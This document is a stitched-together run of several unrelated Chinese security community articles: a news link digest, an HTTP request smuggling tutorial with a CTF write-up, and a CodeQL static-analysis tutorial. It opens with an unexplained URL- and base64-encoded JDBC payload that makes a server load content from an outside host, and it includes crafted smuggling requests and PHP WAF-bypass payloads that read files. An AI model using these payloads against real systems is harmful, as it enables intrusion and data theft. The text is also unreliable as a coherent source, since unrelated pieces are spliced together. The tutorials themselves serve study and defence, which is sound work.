%65%79%4a%45%51%6c%39%51%55%6b%39%51%49%6a%70%37%49%6e%56%79%62%43%49%36%49%6d%70%6b%59%6d%4d%36%63%47%39%7a%64%47%64%79%5a%58%4e%78%62%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%54%6f%31%4e%44%4d%79%4c%33%52%6c%63%33%51%76%50%33%4e%76%59%32%74%6c%64%45%5a%68%59%33%52%76%63%6e%6b%39%61%6d%46%32%59%58%67%75%63%33%64%70%62%6d%63%75%53%6b%78%68%59%6d%56%73%4a%6e%4e%76%59%32%74%6c%64%45%5a%68%59%33%52%76%63%6e%6c%42%63%6d%63%39%50%47%68%30%62%57%77%2b%50%47%39%69%61%6d%56%6a%64%43%42%6a%62%47%46%7a%63%32%6c%6b%50%53%64%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4a%68%64%47%6c%72%4c%6e%4e%33%61%57%35%6e%4c%6b%70%54%56%6b%64%44%59%57%35%32%59%58%4d%6e%50%6a%78%77%59%58%4a%68%62%53%42%75%59%57%31%6c%50%53%64%56%55%6b%6b%6e%49%48%5a%68%62%48%56%6c%50%53%64%6f%64%48%52%77%4f%69%38%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%79%4c%6a%45%36%4e%6a%55%32%4e%53%39%30%5a%58%4e%30%4c%6e%52%34%64%43%63%2b%50%43%39%76%59%6d%70%6c%59%33%51%2b%49%69%77%69%5a%48%4a%70%64%6d%56%79%62%6d%46%74%5a%53%49%36%49%6d%39%79%5a%79%35%77%62%33%4e%30%5a%33%4a%6c%63%33%46%73%4c%6b%52%79%61%58%5a%6c%63%69%49%73%49%6e%56%7a%5a%58%4a%75%59%57%31%6c%49%6a%6f%69%49%69%77%69%63%47%46%7a%63%33%64%76%63%6d%51%69%4f%69%49%69%66%58%30%3d
## 可惜
就当我高兴之时，发现一个致命地点。这个接口，需要一个随机的hash值，这个hash是产品安装时自动生成，这导致这个接口失去了未授权RCE的能力，变成需要拥有读取权限账号，做管理员的提权。真是遗憾！！！！ | 社区文章 |
# 4月27日安全热点 - 疑似与朝鲜相关的黑客盗取17个国家的数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
1.CVE-2018-7602：Drupal核心远程代码执行漏洞分析预警
<http://t.cn/RuMaaLM>
2.IBM发布的多个漏洞通告
<http://t.cn/RutGIkr>
3.Redhat 又一次重要安全更新，包括修复APR（CVE-2017-12613）漏洞
<http://t.cn/RutGID5>
## 安全报告 Security Report
1.PWN2OWN上攻破华为Mate 9 Pro的writeup
<http://t.cn/RuMPZ3v>
2.趋势科技2017至2018移动威胁情况分析
<http://t.cn/REc9pdO>
3.卡巴斯基2018年第一季度的DDoS攻击分析报告
<http://t.cn/Ruxi57s>
4.解析勒索软件发展历史及暗网六大RaaS平台
<http://t.cn/RuxDNe0>
## 恶意软件 Malware
1.Apache strusts2漏洞一年未修复，致Web服务器被批量入侵挖矿
<http://t.cn/Rux4pn0>
2.恶意软件Necurs通过快捷方式绕过垃圾邮件检测
<http://t.cn/RuxqRw2>
3.GravityRAT – 以印度为APT目标两年间的演变
<http://t.cn/RuxDNDE>
4.海莲花APT组织最新攻击样本分析
<http://t.cn/RuxsI6A>
5.STEALTHBOT：150余个小众手机品牌预置刷量木马销往中小城市
<http://t.cn/RutNq04>
## 安全资讯 Security Information
1.齐向东：网络安全进入“查行为”的第三代体系
<http://t.cn/RuINKKT>
2.最大DDoS市场webstresser.org被关闭
<http://t.cn/RuxbIS9>
3.IoT Wiki 发布了关于IoT安全所面临的一些挑战
<http://t.cn/RuxDNkg>
4.WESTERN DIGITAL MY CLOUD EX2 NAS设备泄漏文件
<http://t.cn/RuMMn8x>
5.深度观察：RSA 2018揭示八大安全趋势
<http://t.cn/RuxDNsn>
6.HITB 2018 Amsterdam相关议题报告公开
<http://t.cn/RuxDpvg>
7.疑似与朝鲜相关的黑客盗取17个国家的数据
<http://t.cn/RuxDpPR>
8.微软发布更多关于Spectre缺陷的微码补丁
<http://t.cn/RuJhBlM>
## 安全工具 Security Tools
1.dev-console：在网页或者iframe中添加控制台的工具
<http://t.cn/Ruxi5zn>
2.Snallygaster：扫描HTTP服务器上私密文件的工具
<http://t.cn/Ruxi5zk>
3.Dropbox开源三个MacOS的监控工具
<http://t.cn/RuxkBHc>
## 安全事件 Security Incident
1.cloudflare对amazondns劫持事件的描述
<http://t.cn/RucVXd8>
## 安全研究 Security Research
1.如何绕过PHP escapeshellarg/escapeshellcmd函数？
<http://t.cn/Ruf1Ft4>
2.接口安全浅析
<http://t.cn/Ruxb8GZ>
3.深入分析jar文件
<http://t.cn/RufY3v2>
4.CORS几种常见的错误配置，其中可导致绕过
<http://t.cn/Ruxi5wX>
5.使用Active Directory中的ACL进行权限提升
<http://t.cn/RuxDpwv>
6.漏洞利用开发中的自动化堆布局
<http://t.cn/RutNqFf> | 社区文章 |
### 0x00 写在前面
之前一次线上赛，遇到一道Web题，涉及了HTTP请求走私。由于之前未学习过，从而我展开了HTTP请求走私的学习之旅。
### 0x01 HTTP请求走私是什么
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。
### 0x02 为什么会产生HTTP请求走私
**请求走私漏洞成因**
> 前端服务器(CDN)和后端服务器接收数据不同步，引起对客户端传入的数据理解不一致，从而导致漏洞的产生。
大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置：`Content-Length`标头和`Transfer-Encoding`标头。
同时使用两种不同的方法时，`Content-Length`无效。当使用多个服务器时，对客户端传入的数据理解不一致时，就会出现有些服务器认为`Content-Length`的长度有效，有些以`Transfer-Encoding`有效。而一般情况下，反向代理服务器与后端的源站服务器之间，会重用TCP链接。这样超出的长度就会拼接到下一次请求进行请求，从而导致HTTP请求走私漏洞。
**RFC2616规范**
> 如果接收的消息同时包含传输编码头字段(Transfer-Encoding)和内容长度头(Content-Length)字段，则必须忽略后者。
由于规范默许可以使用`Transfer-Encoding`和`Content-Length`处理请求，因此很少有服务器拒绝此类请求。每当我们找到一种方法，将`Transfer-Encoding`隐藏在服务端的一个`chain`中时，它将会回退到使用`Content-Length`去发送请求。
**走私攻击实现**
当向代理服务器发送一个比较模糊的HTTP请求时，由于两者服务器的实现方式不同，代理服务器可能认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实现了HTTP走私攻击。
#### 扩展：为什么会出现多次请求
这与最为广泛的HTTP 1.1的协议特性——`Keep-Alive&Pipeline`有关。
在`HTTP1.0`之前的协议设计中，客户端每进行一次HTTP请求，需要同服务器建立一个TCP链接。
而现代的Web页面是由多种资源组成的，要获取一个网页的内容，不仅要请求HTML文档，还有JS、CSS、图片等各种资源，如果按照之前的协议设计，就会导致HTTP服务器的负载开销增大。于是在`HTTP1.1`中，增加了`Keep-Alive`和`Pipeline`这两个特性。
**Keep-Alive** ：在HTTP请求中增加一个特殊的请求头`Connection: Keep-Alive`，告诉服务器，接收完这次HTTP请求后，不要关闭`TCP链接`，后面对相同目标服务器的HTTP请求，重用这一个TCP链接。这样只需要进行一次TCP握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。这个特性在`HTTP1.1`中默认开启的。
**Pipeline(http管线化)**
：http管线化是一项实现了多个http请求但不需要等待响应就能够写进同一个socket的技术，仅有http1.1规范支持http管线化。在这里，客户端可以像流水线一样发送自己的`HTTP`请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。
现在，浏览器默认不启用`Pipeline`的，但是一般的服务器都提供了对`Pipleline`的支持。
下面这是典型的CDN加速图和拓扑结构图
CDN加速图
拓扑结构图
### 0x03 如何执行HTTP请求走私攻击
HTTP请求走私攻击涉及将`Content-Length`标头和`Transfer-Encoding`标头都放置在单个HTTP请求中并进行处理，以便前端服务器和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为：
> CL.TE：前端服务器使用Content-Length标头，而后端服务器使用Transfer-Encoding标头。
> TE.CL：前端服务器使用Transfer-Encoding标头，而后端服务器使用Content-Length标头。
> TE.TE：前端服务器和后端服务器都支持Transfer-> Encoding标头，但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。
### 0x04 HTTP请求走私攻击的五种方式
#### CL不为0
所有不携带请求体的HTTP请求都有可能受此影响。这里用GET请求举例。
前端代理服务器允许GET请求携带请求体；后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的`Content-Length`头，不进行处理。这就有可能导致请求走私。
**构造请求示例** ：
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
> `\r\n`是换行的意思，windows的换行是`\r\n`，unix的是`\n`，mac的是`\r`
**攻击流程** ：
前端服务器收到该请求，读取`Content-Length`，判断这是一个完整的请求。
然后转发给后端服务器，后端服务器收到后，因为它不对`Content-Length`进行处理，由于`Pipeline`的存在，后端服务器就认为这是收到了两个请求，分别是：
第一个：
GET / HTTP/1.1\r\n
Host: test.com\r\n
第二个：
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
所以造成了请求走私。
#### CL-CL
**RFC7230规范**
> 在RFC7230的第3.3.3节中的第四条中，规定当服务器收到的请求中包含两个`Content-Length`，而且两者的值不同时，需要返回400错误。
有些服务器不会严格的实现该规范，假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误。
但是中间代理服务器按照第一个`Content-Length`的值对请求进行处理，而后端源站服务器按照第二个`Content-Length`的值进行处理。
**构造请求示例** ：
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
**攻击流程** ：
中间代理服务器获取到的数据包的长度为8，将上述整个数据包原封不动的转发给后端的源站服务器。
而后端服务器获取到的数据包长度为7。当读取完前7个字符后，后端服务器认为已经读取完毕，然后生成对应的响应，发送出去。而此时的缓冲区去还剩余一个字母`a`，对于后端服务器来说，这个`a`是下一个请求的一部分，但是还没有传输完毕。
如果此时有一个其他的正常用户对服务器进行了请求：
GET /index.html HTTP/1.1\r\n
Host: test.com\r\n
因为代理服务器与源站服务器之间一般会重用TCP连接。所以正常用户的请求就拼接到了字母`a`的后面，当后端服务器接收完毕后，它实际处理的请求其实是：
aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n
这时，用户就会收到一个类似于`aGET request method not
found`的报错。这样就实现了一次HTTP走私攻击，而且还对正常用户的行为造成了影响，而且还可以扩展成类似于CSRF的攻击方式。
但是一般的服务器都不会接受这种存在两个请求头的请求包。该怎么办呢？
所以想到前面所说的
**RFC2616规范**
> 如果收到同时存在`Content-Length`和`Transfer-Encoding`这两个请求头的请求包时，在处理的时候必须忽略`Content-> Length`。
所以请求包中同时包含这两个请求头并不算违规，服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。
#### CL-TE
CL-TE，就是当收到存在两个请求头的请求包时，前端代理服务器只处理`Content-Length`请求头，而后端服务器会遵守`RFC2616`的规定，忽略掉`Content-Length`，处理`Transfer-Encoding`请求头。
**chunk传输数据(size的值由16进制表示)**
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
**chunked编码**
参考：[http协议中content-length
以及chunked编码分析](https://blog.csdn.net/yankai0219/article/details/8269922)
**构造请求示例** ：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
连续发送几次请求就可以获得响应。
**攻击流程** ：
由于前端服务器处理`Content-Length`，所以这个请求对于它来说是一个完整的请求，请求体的长度为6，也就是
0\r\n
\r\n
a
当请求包经过代理服务器转发给后端服务器时，后端服务器处理`Transfer-Encoding`，当它读取到
0\r\n
\r\n
认为已经读取到结尾了。
但剩下的字母`a`就被留在了缓冲区中，等待下一次请求。当我们重复发送请求后，发送的请求在后端服务器拼接成了类似下面这种请求：
aPOST / HTTP/1.1\r\n
Host: test.com\r\n
......
服务器在解析时就会产生报错了，从而造成HTTP请求走私。
#### TE-CL
TE-CL，就是当收到存在两个请求头的请求包时，前端代理服务器处理`Transfer-Encoding`请求头，后端服务器处理`Content-Length`请求头。
**构造请求示例** ：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
**攻击流程** ：
前端服务器处理`Transfer-Encoding`，当其读取到
0\r\n
\r\n
认为是读取完毕了。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器处理`Content-Length`请求头，因为请求体的长度为`4`.也就是当它读取完
12\r\n
就认为这个请求已经结束了。后面的数据就认为是另一个请求：
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功报错，造成HTTP请求走私。
#### TE-TE
TE-TE，当收到存在两个请求头的请求包时，前后端服务器都处理`Transfer-Encoding`请求头，确实是实现了RFC的标准。不过前后端服务器不是同一种。这就有了一种方法，我们可以对发送的请求包中的`Transfer-Encoding`进行某种混淆操作(如某个字符改变大小写)，从而使其中一个服务器不处理`Transfer-Encoding`请求头。在某种意义上这还是`CL-TE`或者`TE-CL`。
**构造请求示例** ：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
**攻击流程** ：
前端服务器处理`Transfer-Encoding`，当其读取到
0\r\n
\r\n
认为是读取结束。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器处理`Transfer-encoding`请求头，将`Transfer-Encoding`隐藏在服务端的一个`chain`中时，它将会回退到使用`Content-Length`去发送请求。读取到
5c\r\n
认为是读取完毕了。后面的数据就认为是另一个请求：
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
成功报错，造成HTTP请求走私。
### 0x05 HTTP请求走私实战
在我学HTTP请求走私之前，正是因为碰到一道Web题要使用HTTP请求走私。现在复现一下
#### RoarCTF2019-Web：easy_calc
进去发现是个计算器
这道题是国赛的love_math的修改版。国赛题`love_math`参考Smi1e师傅的Writeup：[国赛love_math题解](https://www.smi1e.top/%E5%9B%BD%E8%B5%9Blove_math%E9%A2%98%E8%A7%A3/)
输入`calc.php`，发现了网站源码
这道题除去了长度限制，payload中不能包含
> ' ', '\t', '\r', '\n',''', '"', '`', '[', ']'等字符
师傅的Writeup还说网站加了waf，需要绕过waf。所以还需要绕过waf，测试发现当我们提交一些字符时，会直接`403`。`403`？！应该就是走私报错了，经测试发现的确存在服务器存在http走私漏洞，可以用来绕waf。
因禁了一些字符，所以不能直接getflag，需要继续分析payload构造。
##### 相关PHP函数
**scandir() 函数**
返回指定目录中的文件和目录的数组。
**base_convert() 函数**
在任意进制之间转换数字。
**dechex() 函数** ：把十进制转换为十六进制。
**hex2bin() 函数** ：把十六进制值的字符串转换为 ASCII 字符。
**readfile() 函数**
输出一个文件。
该函数读入一个文件并写入到输出缓冲。若成功，则返回从文件中读入的字节数。若失败，则返回 false。您可以通过 @readfile()
形式调用该函数，来隐藏错误信息。
##### HTTP走私绕过WAF
**测试示例**
_1、HTTP请求走私测试2(CL-CL漏洞)_
两个CL直接导致前端转发的服务器400，而且完整转发了post包给后端。
_2、HTTP请求走私测试1(CL-TE漏洞)_
CL和TE直接导致前端转发的服务器400，而且完整转发了post包给后端。
其它几种请求走私依旧可以，就不测试了。
**构造payload获得Flag**
使用`scandir()函数`、`readfile()函数`、`base_convert()函数`、`dechex() 函数`、`hex2bin()
函数`（`chr()函数`）
36进制`scandir`->10进制61693386291
36进制`readfile`->10进制2146934604002
ascii码`/`->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)
_1、列目录_
首先要使用`scandir()函数`，尝试构造payload列举根目录下的文件。
`scandir()`可以用`base_convert()函数`构造，但是利用`base_convert()`只能解决`a~z`的利用。
因为根目录需要`/`符号，且不在`a~z`,所以需要`hex2bin(dechex(47))`这种构造方式，`dechex()
函数`把十进制数转换为十六进制数。`hex2bin() 函数`把十六进制值的字符串转换为 ASCII 字符。当然，也可以直接用`chr()函数`
payload
var_dump(base_convert(61693386291,10,36)(chr(47)))
_2、读取flag_
payload
var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
##### PHP字符串解析特性绕过WAF
输入时发现num只能输入数字，输入字符无法解析。
这里可以利用php的字符串解析特性绕过bypass：[利用PHP的字符串解析特性Bypass](https://www.freebuf.com/articles/web/213359.html)
> PHP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：
> 1.删除空白符
> 2.将某些字符转换为下划线（包括空格）
所以我们可以在num前加个空格绕过waf
http://www.xxx.com/index.php? num=aaaa
现在的变量叫“ num”，而不是“num”。但php在解析的时候，会先把空格给去掉，这样代码还能正常运行，还上传了非法字符。
然后再利用`scandir()`函数，列出 `参数目录` 中的文件和目录。
首先，要先扫根目录下的所有文件，也就是是`scandir("/")`,因为`/`被过滤了，所以直接用`chr(“47”)`绕过。
发现`flagg文件`
然后再去读取这个文件就行了。payload：
calc.php? num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
### 0x06 漏洞修复
1、将前端服务器配置为只使用HTTP/2与后端系统通信
2、完全禁用后端连接重用来解决此漏洞的所有变体
3、确保连接中的所有服务器运行具有相同配置的相同web服务器软件。
4、彻底拒绝模糊的请求，并删除关联的连接。
5、在Burp Suite中，你可以使用Repeater菜单禁用此行为，确保你选择的工具具有相同的功能。
6、通过Squid之类的代理来测试他们的测试人员的流量以进行监控。破坏测试人员发起的任何走私攻击请求，确保对此漏洞做到全面杜绝。
### 0x07 写在后面
这次又学到了新的知识-HTTP请求走私。了解了HTTP请求走私的五种方式，以及一些PHP函数的使用。HTTP请求走私属于协议层攻击，是服务器漏洞的一种，应予以注意。 | 社区文章 |
# 概述
`codeql` 是一个静态源码扫描工具，支持 c, python, java 等语言，用户可以使用 ql
语言编写自定义规则识别软件中的漏洞，也可以使用ql自带的规则进行扫描。
# 环境搭建
`codeql`的工作方式是首先使用`codeql`来编译源码，从源码中搜集需要的信息，然后将搜集到的信息保存为代码数据库文件，用户通过编写`codeql`规则从数据库中搜索出匹配的代码，工作示意图如下：
本节涉及的环境为
Windows 平台： vscode + codeql 用于开发codeql规则并查询
Linux 平台： codeql 用于编译代码创建代码数据库
首先下载codeql的二进制安装包
https://github.com/github/codeql-cli-binaries/releases
二进制包的文件名和对应的类型
codeql-linux64.zip Linux平台
codeql-osx64.zip macos平台
codeql-win64.zip Windows平台
codeql.zip 全平台
根据自己的平台下载对应的压缩包，然后解压到一个目录即可。
`Windows` 平台的就下载 `codeql-win64.zip` 并解压，然后再根据 `vscode-codeql-starter` 的
`readme` 设置 `vscode` 用于后续编写 `codeql` 规则和对数据库进行查询.
https://github.com/github/vscode-codeql-starter
下载好`vscode-codeql-starter`和 `vscode` 的
[codeql插件](https://marketplace.visualstudio.com/items?itemName=github.vscode-codeql) 后，使用 `vscode` 打开vscode-codeql-starter的工作目录（ 通过`File > Open
Workspace`），然后进入`vscode`的设置界面，搜索`codeql`然后设置 `Executable Path` 为 `codeql.exe`
的路径
Linux环境主要是使用 `codeql` 来编译代码，创建代码数据库，所以只要下载 `codeql-linux64.zip` 解压到一个目录即可。
下面以一个简单的例子来介绍使用方式，代码路径
https://github.com/hac425xxx/sca-workshop/tree/master/hello
首先使用 `codeql` 编译代码并创建数据库
$ /home/hac425/sca/codeql/codeql database create --language=cpp -c "gcc hello.c -o hello" ./hello_codedb
Initializing database at /home/hac425/sca-workshop/hello_codedb.
Running command [gcc, hello.c, -o, hello] in /home/hac425/sca-workshop.
Finalizing database at /home/hac425/sca-workshop/hello_codedb.
Successfully created database at /home/hac425/sca-workshop/hello_codedb.
其中的命令行选项解释如下
--language=cpp 指定语言是cpp
-c 指定编译代码需要执行的命令命令，比如 make、 gcc等
./hello_codedb 数据库相关文件保存的路径
`-c` 这里为了简单直接使用了gcc的编译命令，codeql也支持make、cmake等编译系统来创建数据库，比如可以写个Makefile
hello:
gcc hello.c -o hello
然后 `-c` 指定为 `make` 编译命令也可以创建出数据库
$ /home/hac425/sca/codeql/codeql database create --language=cpp -c "make -f Makefile_hello" ./hello_codedb
Initializing database at /home/hac425/sca-workshop/hello_codedb.
Running command [make, -f, Makefile_hello] in /home/hac425/sca-workshop.
[2021-02-23 05:09:18] [build] gcc hello.c -o hello
Finalizing database at /home/hac425/sca-workshop/hello_codedb.
Successfully created database at /home/hac425/sca-workshop/hello_codedb.
数据库创建好之后可以直接使用 `codeql` 插件的 `From a folder` 选项打开数据库所在目录，即可加载数据库。
由于我是在Linux上创建数据库，然后在Windows平台加载数据库并进行查询，这样的话还需要将数据库打包.
$ /home/hac425/sca/codeql/codeql database bundle -o hello_codedb.zip hello_codedb
Creating bundle metadata for /home/hac425/sca-workshop/hello_codedb...
Creating zip file at /home/hac425/sca-workshop/hello_codedb.zip.
命令行选项解释
database bundle 表示这个命令是要打包数据库
-o 打包后的压缩文件
hello_codedb 数据库所在目录
数据库打包之后就可以拷贝到其他机器上进行分析了。
`vscode` 加载打包的数据库文件可以使用插件的 `From an archive` 选项
加载完之后我们就可以编写规则了，这里创建一个简单的codeql查询，用途是找到源码中的所有函数调用并显示调用的的目标函数名和函数调用的位置。
ql 代码如下
import cpp
from FunctionCall fc
select fc.getTarget().getQualifiedName(), fc
执行后就可以显示所有的函数调用信息
对于图中的fc列，可以点击进入对于的源码行进行查看。
# QL语言简介和简单示例
`codeql` 自己实现了 `ql`
语言，用户通过`ql`语言从数据库中查询需要的代码片段。`QL`语言是一种逻辑语言，`QL`中的所有语句基本都是逻辑语句，虽然有些情况下ql的使用和普通的编程语言（比如python）类似，但是其中的一些理念是完全不一样的，这个下面会进行一些讲解。本节将基于一些简单的例子介绍`ql`常用语法的使用，完整的语法建议查看官方文档。
## 示例代码简介
代码路径
https://github.com/hac425xxx/sca-workshop/blob/master/ql-example/example.c
我们知道漏洞都是由于程序在处理外部不可信数据时产生的，因此这个示例代码的实现思路就是模拟一些获取外部数据的函数，然后预设一些漏洞和不存在漏洞的场景，最后我们使用`codeql`把其中的漏洞查询出来
其中模拟获取外部数据的函数如下
// fake read byte from taint data
char read_byte()
{
return 1;
}
// fake read int from taint data
int read_int()
{
}
// fake get user input function
char *get_user_input_str()
{
return (char *)malloc(12);
}
## system命令执行
本节所使用的示例代码路径
https://github.com/hac425xxx/sca-workshop/tree/master/ql-example
https://github.com/hac425xxx/sca-workshop/tree/master/ql-example/system_query
代码漏洞
int call_system_example()
{
char *user = get_user_input_str();
char *xx = user;
system(xx);
return 1;
}
漏洞在于函数首先使用 `get_user_input_str` 获取外部输入的字符串， 然后会将其传给 `system` ，可以导致命令执行。
本节通过查询`system`命令执行漏洞来学习一下`ql`规则的编写，首先通过一个简单的 `ql` 查询示例来看看`ql`查询的组成元素
import cpp
from FunctionCall fc
where fc.getTarget().getName().matches("system")
select fc.getEnclosingFunction(), fc
这个查询的作用是找到所有调用 `system` 函数的位置，然后显示调用点所在的函数和函数调用的位置，各个语句的作用如下：
* `import` 语句可以导入需要的库，库里面会封装一些函数、类供我们使用
* `from` 语句用于定义查询中需要使用的变量，比如这里就定义了一个 `fc` ，类型为 `FunctionCall` 表示一个函数调用
* `where` 语句用于设置变量需要满足的条件，比如这里的条件就是函数调用的目标的名称为 system
* `select` 语句则用于将结果显示，可以选择结果中需要输出的东西.
查询结果如下
查询结果中列的数目和列中的数据由 `select` 语句指定，每一行代表一个结果，这个结果的呈现和`sql`语句的类似。
浏览查询的结果可以发现有一个 `system` 调用的参数是一个固定字符串
int call_system_const_example()
{
system("cat /etc/xxx");
return 1;
}
这个不会导致命令注入，我们在查询的`where`语句中可以增加一个条件过滤掉这个调用。
import cpp
from FunctionCall fc
where fc.getTarget().getName().matches("system") and not fc.getArgument(0).isConstant()
select fc.getEnclosingFunction(), fc, fc.getArgument(0)
`where` 语句通过 `and` 增加 **与**
条件，通过`fc.getArgument(0).isConstant()`可以判断`fc`的第一个参数是不是一个常量，这样就可以过滤掉 `system`
的参数为常量字符串的函数调用。
通过这两个例子可以大概理解一下`codeql`的语法规则，首先用户会在 `from`
里面定义需要的语法元素（比如`FunctionCall`），然后会在`where`语句里面定义若干个逻辑表达式，然后在执行查询时`codeql`会根据`from`语句搜集所有的语法元素（这里是所有的函数调用），然后使用`where`里面的逻辑表达式对这些元素进行校验，`where`的结果为真就会进入`select`语句进行结果的展示。
或者可以这样理解 `from` 语句中声明的变量类型只是代表某一类语法元素，取值空间很大，比如 `FunctionCall` 可以表示任意一个函数调用，然后
`fc` 经过 `where` 语句里面的各个逻辑表达式的约束，使得 `fc` 取值空间缩小，然后 `select`
语句就将所有的取值以表格的形式展现出来。
最开始学习`codeql`的时候在这一块困扰了一段时间，大概理解`ql`语言的工作机理后对规则的编写、调试都有很大的帮助。
继续回调示例，此时我们的结果还剩下两个，其中 `call_system_safe_example` 中会调用函数 `clean_data`
对用户的输入进行校验，仅仅是为了教学我们假设 `clean_data` 可以确保用户输入是干净的，否则就返回`0`，那么我们需要将
`call_system_safe_example` 过滤掉。
对于我们这个简单的例子，我们可以加一些表达式，过滤掉在函数中既调用了`system` 有调用的 `clean_data` 函数的结果。
import cpp
from FunctionCall fc, FunctionCall clean_fc
where
fc.getTarget().getName().matches("system") and
not fc.getArgument(0).isConstant() and
clean_fc.getTarget().getName().matches("clean_data") and
not clean_fc.getEnclosingFunction() = fc.getEnclosingFunction()
select fc.getEnclosingFunction(), fc, fc.getArgument(0)
当然这样去过滤会产生漏报和误报，比如`clean_data`检查的数据和实际传入`system`的数据不是一个。
clean_data(data_1)
................
................
system(data_2)
还有就是这样做搜索无法判断`system`的入参是否为外部可控。
这时候就需要使用 `codeql` 的污点跟踪功能，示例代码如下
import cpp
import semmle.code.cpp.dataflow.TaintTracking
from FunctionCall system_call, FunctionCall user_input, DataFlow::Node source, DataFlow::Node sink
where
system_call.getTarget().getName().matches("system") and
user_input.getTarget().getName().matches("get_user_input_str") and
sink.asExpr() = system_call.getArgument(0) and
source.asExpr() = user_input and
TaintTracking::localTaint(source, sink)
select user_input, user_input.getEnclosingFunction()
污点跟踪由 `TaintTracking` 模块提供，`codeql` 支持 `local` 和 `global` 两种污点追踪模块，区别在于
`local` 的污点追踪只能追踪函数内的代码，函数外部的不追踪，`global` 则会在整个源码工程中对数据进行追踪。
回到上面的 `codeql` 代码，首先我们要明确我们的目标和已知的信息。
* `get_user_input_str` 函数模拟程序从外部获取数据，其返回值里面的数据是外部数据，即污点源 （source）
* `system` 是 `sink` 点，数据从 `get_user_input_str` 流向 `system` 函数的就很大概率是有漏洞
查询的解释如下：
1. 首先定义了两个函数调用 `system_call` 和 `user_input` ，分别表示调用 `system` 和 `get_user_input_str` 的函数调用表达式
2. 然后定义 `source` 和 `sink` 作为污点跟踪的 `source` 和 `sink` 点
3. 然后利用 `sink.asExpr() = system_call.getArgument(0)` 设置 `sink` 点为 `system` 函数调用的第一个参数
4. 然后利用 `source.asExpr()` 设置 `sink` 点为 `system` 函数调用的第一个参数
5. 最后使用 `TaintTracking::localTaint` 查找从 `source` 到 `sink` 的查询
这个查询的作用就是查询 `system` 第一个参数由 `get_user_input_str` 返回值控制的调用点，比如
但是由于这里采用的是 `localTaint` 所以下面这种情况会漏报，如果要查询下面这个情况有两种方式
1. 把 `our_wrapper_system` 函数加到 `sink` 里面
2. 使用 `global taint` 进行跟踪
void our_wrapper_system(char* cmd)
{
system(cmd);
}
int call_our_wrapper_system_example()
{
char* user = get_user_input_str();
char* xx = user;
our_wrapper_system(xx);
return 1;
}
第一种方案的查询如下，其实就是把 `our_wrapper_system` 也考虑进 `sink` 点
import cpp
import semmle.code.cpp.dataflow.TaintTracking
predicate setSystemSink(FunctionCall fc, Expr e) {
fc.getTarget().getName().matches("system") and
fc.getArgument(0) = e
}
predicate setWrapperSystemSink(FunctionCall fc, Expr e) {
fc.getTarget().getName().matches("our_wrapper_system") and
fc.getArgument(0) = e
}
from FunctionCall fc, FunctionCall user_input, DataFlow::Node source, DataFlow::Node sink
where
(
setWrapperSystemSink(fc, sink.asExpr()) or
setSystemSink(fc, sink.asExpr())
) and
user_input.getTarget().getName().matches("get_user_input_str") and
sink.asExpr() = fc.getArgument(0) and
source.asExpr() = user_input and
TaintTracking::localTaint(source, sink)
select user_input, user_input.getEnclosingFunction()
使用global taint 的代码如下
import cpp
import semmle.code.cpp.dataflow.TaintTracking
class SystemCfg extends TaintTracking::Configuration {
SystemCfg() { this = "SystemCfg" }
override predicate isSource(DataFlow::Node source) {
source.asExpr().(FunctionCall).getTarget().getName() = "get_user_input_str"
}
override predicate isSink(DataFlow::Node sink) {
exists(FunctionCall call |
sink.asExpr() = call.getArgument(0) and
call.getTarget().getName() = "system"
)
}
}
from DataFlow::PathNode sink, DataFlow::PathNode source, SystemCfg cfg
where cfg.hasFlowPath(source, sink)
select source, sink
ps: `exists` 的作用类似于局部变量
